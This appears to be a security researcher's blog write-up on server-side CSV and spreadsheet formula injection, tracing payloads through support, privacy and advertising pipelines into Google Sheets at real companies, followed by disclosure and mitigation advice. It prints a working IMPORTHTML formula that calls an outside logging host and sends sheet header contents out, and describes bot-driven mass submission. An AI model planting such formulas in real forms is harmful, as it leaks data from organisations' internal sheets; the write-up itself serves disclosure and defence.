Blind XSS has a certain charm: you send a payload, walk away, and at some unpredictable moment an internal system executes it for you. During this research, I ended up with something that behaved almost the same but without any browser, DOM, HTML, or admin panel involved.
Server-Side CSV Injection sits in the dullest parts of modern companies: CSV exports, Google Sheets, automation tools, Salesforce reports, and internal dashboards. It triggers when spreadsheet engines interpret user-supplied text as formulas and silently execute them inside backend workflows. Because so many organisations push untrusted data into Sheets at some point, the impact turned out to be both broader and more surprising than expected.
This is how I, along with Sajeeb and Eric (Todayisnew), took a simple spreadsheet formula and traced it across support, sales, privacy, advertising, and bug bounty pipelines and even caught a spreadsheet vendor using their competitor's spreadsheet engine.
The idea started from a simple observation: companies use Google Sheets in places they probably should not. Support teams forward emails into Sheets. Privacy teams track requests inside Sheets. Sales and advertising teams collect form submissions into Sheets via no-code tools. If any of these pipelines ingest unescaped user input, Sheets will treat it as a formula, not text.
Here is how the typical vulnerable workflow looks:
┌─────────────────┐
│ User submits │
│ support ticket │
│ or form │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Support CRM │
│ (Zendesk, SF) │
└────────┬────────┘
│
│ Employee exports CSV
│ OR automation syncs
▼
┌─────────────────┐
│ Google Sheets │◄── Formula executes here
│ │
│ = IMPORTHTML() │──► Outbound HTTP request
└─────────────────┘
That was enough to suspect a real-world blind execution vector hiding in plain sight. I reached out to Sajeeb with the question: could we test for this at scale?
To test this safely and at scale, we needed a payload that confirmed formula execution, identified which submission triggered it, and revealed the shape of the sheet it executed inside. Sajeeb built a canary system to detect pingbacks from vulnerable companies and created an intake system to monitor and log responses.
The payload we used was:
=IMPORTHTML("https://{subdomain-with-payload-id}.our-server.com/log?v=" & CONCATENATE(A1:E1), "table", 1)
Each submission received a unique {subdomain-with-payload-id}. When the formula executed, Google Sheets sent an HTTP request to that specific subdomain, letting us pinpoint the exact test that fired. The v= parameter came from CONCATENATE(A1:E1), which concatenated the first five cells of the sheet's header row, typically column names like Name, Email, Message, and so on. This gave us a fingerprint of the sheet structure without accessing actual user data.
The server just logged host, path, query, timestamp, and UA. That alone proved execution and exposed internal workflow timing. The infrastructure worked as expected. Now we needed to test it.
Eric came in to help scale the testing. He sprayed the payload across hundreds of support and contact email addresses, customer service inboxes, general inquiries, technical support channels. The approach was broad and fast, but it was also incomplete. It missed critical intake channels that did not expose email addresses publicly: leads forms, sales contact pages, partnership applications, and advertising submission forms.
More importantly, the first wave produced nothing. Zero callbacks. Zero proof the vulnerability existed anywhere but in theory.
That silence revealed something important: nothing executes until someone pushes the data into a spreadsheet. Email alone does not trigger this. The vulnerability only activates when a human exports a CSV from a CRM or when an automation tool syncs the data into Sheets. That meant our initial coverage was missing entire categories of intake and that we would need patience.
Most companies move away from email and toward web forms for leads, advertising requests, partnership enquiries, and onboarding. These often go directly into Sheets through automation platforms like Zapier or Workato. To reach them, Sajeeb built a bot that detected forms and auto-submitted the payload.
It was not elegant. The bot was clunky, missed modern JavaScript-heavy frontends often, and failed to complete many submissions. But when it worked, it reached intake surfaces we could not access any other way.
One of the first hits from this route came from the advertising contact flow of a popular streaming platform. The callback came within hours of submission, revealing their ad-sales team operated directly on top of Google Sheets with no server-side sanitization. Our payload, submitted through their web form, eventually landed in a Sheet used by the advertising team. When the automation inserted the row, Sheets evaluated the formula and called our server with concatenated form values.
This confirmed that the entire ad-intake workflow lived directly on top of Google Sheets and that the vulnerability was real.
But that streaming platform hit was an outlier. For most of our tests, nothing happened immediately. Days passed. Then weeks.
For 20 days after the initial spray, we received no callbacks from the support email submissions. Zero confirmation that any of those hundreds of payloads had reached a spreadsheet.
Then, on day 21, the first pingback arrived from a major cryptocurrency exchange.
The formula had executed inside their internal privacy-tracking sheet. Our payload had traveled through their support pipeline, been exported or synced, and finally landed somewhere that evaluated it. The callback contained concatenated values from the sheet's header row, confirming the workflow used Google Sheets to manage privacy requests.
After that first confirmation, the callbacks started rolling in periodically from multiple organizations. Each one arrived at unpredictable intervals, triggered by whatever internal workflow finally pushed the data into a spreadsheet.
As more callbacks arrived, the root cause became clear: every execution happened later in the internal pipeline, never at ingestion. The vulnerability always surfaced at the same place, the moment an organisation's workflow pushed untrusted text into Google Sheets.
This happened in two ways:
This explained why execution was inconsistent. Some workflows ran instantly. Others ran only during weekly reporting cycles. But the results across organisations were identical.
Then the ironic findings appeared.
Across all organisations, timing patterns became fingerprints of their internal architecture:
We never needed access to a single internal system. Callback timing alone mapped how data flowed inside each organisation.
Spreadsheet applications treat values starting with =, +, -, and @ as formulas. If untrusted user input reaches a Google Sheet without escaping, the sheet executes it automatically.
Our formula triggered:
This made it behave like Blind XSS except the execution environment was a spreadsheet rather than a browser. Like Blind XSS, we had no visibility into when execution would happen. We just sent the payload, walked away, and waited for the callback.
The key difference: we were not exploiting browsers or admin panels. We were exploiting the intersection of untrusted input, CSV exports, and spreadsheet automation, the dullest, least monitored part of most companies' infrastructure.
All findings were responsibly disclosed to the affected organizations. The responses varied widely.
Most acknowledged the issue and began implementing fixes, typically by escaping formula characters at ingestion points or during CSV export.
Others closed the reports entirely, claiming this was social engineering rather than a technical vulnerability. The argument: an employee has to open the CSV file, so it requires user interaction. This overlooks that opening CSV exports is standard business workflow, not social manipulation. When a support manager exports tickets into Sheets for weekly reporting, they are performing routine job functions. The vulnerability exists because the system executes untrusted input as code during normal operations.
The nature of this vulnerability makes remediation challenging. The issue does not live in a single codebase or application. It lives in the organizational workflow itself, in the habits of exporting CSVs and uploading them to Sheets, in the automation tools connecting forms to spreadsheets, in the assumption that a CSV file is just data.
The blind execution did not happen at the frontend. It happened inside the business logic no one thinks about, where CSV files, sheets, and automation workflows intersect. Every industry we tested broke the same way: privacy request tracking, advertising intake, payments support, bug bounty onboarding, and even a spreadsheet SaaS company's internal operations.
If user-controlled text touches Google Sheets, you cannot assume it will stay as text. The spreadsheet will interpret it. And because these workflows are often built by non-technical teams using no-code tools, security reviews rarely happen.
The 20-day delay taught us something else: this vulnerability is invisible until it fires. Unlike XSS, where you can inspect the DOM or check the CSP, there is no way to know if your data ended up in a spreadsheet until you receive the callback. Organizations could be vulnerable for years without realizing it.
=, +, -, @) before anything touches a CSV or spreadsheet. Prefix them with a single quote (') or strip them entirely.All of this came from normal company behaviour: exporting CSVs, uploading reports, syncing workflows, routing form submissions, and letting automations populate Sheets. The formula never needed a user to click anything or open a malicious file. It fired when the organisation did what they always do.
It behaved like Blind XSS, delayed, blind execution inside internal systems, except spreadsheets, not browsers, were doing the work. We sent payloads into the void, waited 20 days, and watched as they silently executed across support pipelines, privacy workflows, advertising forms, and even a spreadsheet vendor's own infrastructure.
Which brings us back to the title:
Who needs a Blind XSS?
@hx01